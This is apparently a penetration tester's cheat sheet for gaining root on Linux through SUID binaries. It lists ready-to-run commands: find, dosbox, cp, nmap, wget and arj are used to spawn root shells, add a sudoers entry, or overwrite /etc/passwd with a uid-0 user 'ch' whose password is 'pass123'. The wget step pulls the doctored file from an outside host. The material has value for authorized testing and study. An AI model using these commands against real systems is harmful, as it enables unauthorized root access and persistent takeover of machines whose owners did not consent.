SUID

Using programs which has SUID bit to root shell.

find / -perm -u=s -type f 2>/dev/null

GTFOBins

dosbox

$ dosbox -c 'mount c /etc' -c 'echo test ALL=(ALL) ALL >> C:\sudoers' -c exit

find

find . -exec /bin/sh -p \; -quit

cp

https://www.hackingarticles.in/linux-for-pentester-cp-privilege-escalation/

$ openssl passwd -1 -salt ignite pass123
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1

$ mkdir /tmp/privesc && cd /tmp/privesc
$ cp /etc/passwd .
$ cp passwd passwd.bak

$ echo "ch:\$1\$ignite\$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash" >> ./passwd
$ cp ./passwd /etc/passwd

$ su ch
password: pass123

# Restoring the original
$ cp /tmp/privesc/passwd /etc/passwd && rm -rf /tmp/privesc

nmap

$ nmap --interactive
nmap> !sh

-----------------------

$ TF=$(mktemp)
$ echo 'os.execute("/bin/bash")' > $TF
$ nmap --script=$TF

-----------------------

$ echo 'os.execute("/bin/sh")' > /tmp/x.nse
$ nmap --script /tmp/x.nse

wget

$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/wget

Copy contents of /etc/passwd to your host as passwd.

Add this user with this command:

echo "ch:\$1\$ignite\$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash" >> passwd

ch:pass123

$ wget http://192.168.49.60/passwd -O /etc/passwd
$ su ch
password:pass123

arj

$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/arj

$ cd /tmp
$ cp /etc/passwd passwd
$ echo "ch:\$1\$ignite\$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash" >> passwd
$ arj a priv passwd
$ arj x priv.arj /etc/
→ Yes

$su ch
Password: pass123